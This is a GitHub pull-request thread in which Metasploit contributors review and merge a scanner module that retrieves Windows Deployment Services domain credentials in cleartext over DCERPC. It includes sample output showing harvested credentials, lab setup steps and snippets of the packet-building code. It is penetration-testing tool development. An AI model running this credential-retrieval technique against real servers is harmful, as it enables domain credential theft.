Windows Deployment Services Scanner #1420

Merged
merged 6 commits into from Oct 11, 2013

Projects

None yet

5 participants

@Meatballs1
Contributor

Windows Deployment Services can be configured with domain credentials for PXEBoot clients to perform unattended installation. These are not visible during a PXE deployment, (but can be observed in clear text by monitoring network traffic). They are exposed by a DCERPC service on the Windows Deployment Server and can be retrieved even when the Service is configured not to deploy to any hosts.

[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf4/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrived wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...

Windows Deployment Services
===========================

 Architecture  Type  Domain        Username  Password
 ------------  ----  ------        --------  --------
 X64           wds   Fabrikam.com  username  my_password

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

This module adds:

  1. Scanner Module
  2. Windows Deployment Services DCERPC Protocol REX Library

Have had to make some small changes to DCERPC library to get the correct requests.

@Meatballs1
Contributor

To test:

Windows 2008.

Add Role Windows Deployment Services
Select Windows Deployment Services in Server Manager

Servers
ServerName
Right click configure server
Skip through default settings in configuration (next next next)
Untick add images and finish.

Download and save first example Unattend.xml file to c:\RemoteInstall\WdsClientUnattend from
http://technet.microsoft.com/en-us/library/cc732280(v=ws.10).aspx#ex1

Right click on server

Properties
Client Tab
Enable unattended installation

Add unattend file to an architecture (or all 3):

notes marker

Hit OK.

Fire up module, run! :)

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
...xiliary/scanner/dcerpc/windows_deployment_services.rb
+ end
+
+ def run_host(ip)
+ begin
+ query_host(ip)
+ rescue ::Interrupt
+ raise $!
+ rescue ::Exception => e
+ print_error("#{ip}:#{rport} error: #{e}")
+ end
+ end
+
+ def query_host(rhost)
+ # Create a handler with our UUID and Transfer Syntax
+ self.handle = Rex::Proto::DCERPC::Handle.new(
+ [
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

single indent, please

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/client.rb
@@ -252,7 +252,14 @@ def bind()
bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args)
else
- bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1])
+ if self.handle.uuid.length == 4
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

This might be better handled by something like:

bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/wdscp/packet.rb
+ raise(ArgumentError, "Packet arguments cannot be nil")
+ end
+
+ @variables = []
+ @packet_type = WDS_CONST::PACKET_TYPE[packet_type]
+ @opcode = WDS_CONST::OPCODE[opcode]
+ end
+
+ def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
+ padding = 0
+ value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
+ name = name.encode('UTF-16LE').unpack('H*')[0]
+
+ value_length ||= value.length
+
+ len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16.
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

I generally don't like comments at end of line. Please move above.

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/wdscp/packet.rb
+ end
+
+ @variables = []
+ @packet_type = WDS_CONST::PACKET_TYPE[packet_type]
+ @opcode = WDS_CONST::OPCODE[opcode]
+ end
+
+ def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
+ padding = 0
+ value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
+ name = name.encode('UTF-16LE').unpack('H*')[0]
+
+ value_length ||= value.length
+
+ len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16.
+ @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len)
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

This would be easier to read with some line breaks.

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/wdscp/packet.rb
+ end
+
+ def create
+ packet = []
+ var_count = @variables.count
+
+ packet_size = 0
+ @variables.each do |var|
+ packet_size += var.length
+ end
+
+ packet_size += 16 # variables + operation
+
+ # These bytes are not part of the spec but are not part of DCERPC according to Wireshark
+ # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
+ packet << [packet_size+40].pack('Q')*2
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

Don't use pack Q, it's not endian safe. Rex::Text.pack_int64le(packet_size+40)

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/wdscp/packet.rb
+
+ packet_size += 16 # variables + operation
+
+ # These bytes are not part of the spec but are not part of DCERPC according to Wireshark
+ # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
+ packet << [packet_size+40].pack('Q')*2
+ packet << create_endpoint_header(packet_size)
+ packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
+ packet.concat(@variables)
+
+ return packet.join
+ end
+
+ def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
+ return [ packet_size, # PacketSize
+ 256, # Version
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

Align comments with spaces instead of tabs

@jlee-r7 jlee-r7 commented on an outdated diff Apr 9, 2013
lib/rex/proto/dcerpc/wdscp/packet.rb
+ WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
+
+ def initialize(packet_type, opcode)
+ if opcode.nil? || packet_type.nil?
+ raise(ArgumentError, "Packet arguments cannot be nil")
+ end
+
+ @variables = []
+ @packet_type = WDS_CONST::PACKET_TYPE[packet_type]
+ @opcode = WDS_CONST::OPCODE[opcode]
+ end
+
+ def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
+ padding = 0
+ value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
+ name = name.encode('UTF-16LE').unpack('H*')[0]
@jlee-r7
jlee-r7 Apr 9, 2013 Contributor

encode is 1.9+ only. We're going to drop support for 1.8 in a few months, but can't break it before then. One of the Rex::Text unicode methods ought to suffice for this.

@todb-r7 todb-r7 referenced this pull request in Meatballs1/metasploit-framework Sep 5, 2013
Merged

Retab/pr/1420 #25

@todb-r7
Contributor
todb-r7 commented Oct 3, 2013

/me prods @jlee-r7 what's up with this now?

@todb-r7
Contributor
todb-r7 commented Oct 10, 2013

So, I think this has languished because: a) you're making changes to the DCERPC protocol library, and there isn't a particularly good way to validate any of that today, and b) nobody knows how to set up WDS quickly and easily.

I've tackled a) now by reading the code and nodding along sagely, as well as testing several modules in auxiliary/scanner/dceprc, auxiliary/admin/smb, and auxiliary/scanner/smb, all of which use the DCERPC libraries. I'm satisified that existing functionality isn't broken.

On to (b) and learning how to set up a WDS server.

Note to future self: Remember when we had to learn and remember all this IT foo to test individual modules? Isn't it great now that we have Chef scripts to build out targets for us, all supplied by module writers who considerately package up chef scripts to demonstrate their mad awesome modules? Yeah, these were dark times where modules hung around in a queue for 6 months...

@Meatballs1
Contributor

@todb-r7 b) See my second comment!

@todb
Contributor
todb commented Oct 10, 2013

Duh. I'll have this landed tomorrow, then. Thanks!

@Meatballs1
Contributor

How about a Metasploit Test Cloud?

I will have to look into Chef one day...

@todb-r7
Contributor
todb-r7 commented Oct 11, 2013

Okay, I promised I would get this today, and I'm ready to land, BUT...

I'm running into a problem with 32-bit Windows 2003 WDS. Your 64bit NDR transfer syntax is not cool there, obviously (71710533-beba-4937-8319-b5dbef9ccc36), but strangley, neither is the regular 32-bit NDR transfer encoding, 8a885d04-1ceb-11c9-9fe8-08002b104860.

I'm chasing this around now. Any hints?

If I can't get it to work for 32-bit, I'll note it in the description, and maybe some kind soul will fix up later.

@todb-r7
Contributor
todb-r7 commented Oct 11, 2013

Ultimately, I just need a pcap of WDS actually delivering an unattended.xml from a 32-bit machine and i can extract the transfer encoding from there.

@todb-r7 todb-r7 referenced this pull request Oct 11, 2013
Merged

Add RPORT to the list of DCERPC ports to check #2507

0 of 5 tasks complete
@todb-r7 todb-r7 added a commit that referenced this pull request Oct 11, 2013
@todb-r7 todb-r7 Land #1420, WDS scanner 876d4e0
@todb-r7 todb-r7 merged commit 5dcb48a into rapid7:master Oct 11, 2013

1 check passed

default The Travis CI build passed
Details
@todb-r7
Contributor
todb-r7 commented Oct 11, 2013

As threatened, this is landed without the 32-bit support. Feel free to PR something to enhance.

@Meatballs1 Meatballs1 deleted the Meatballs1:wds_scanner_repull branch Oct 12, 2013
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment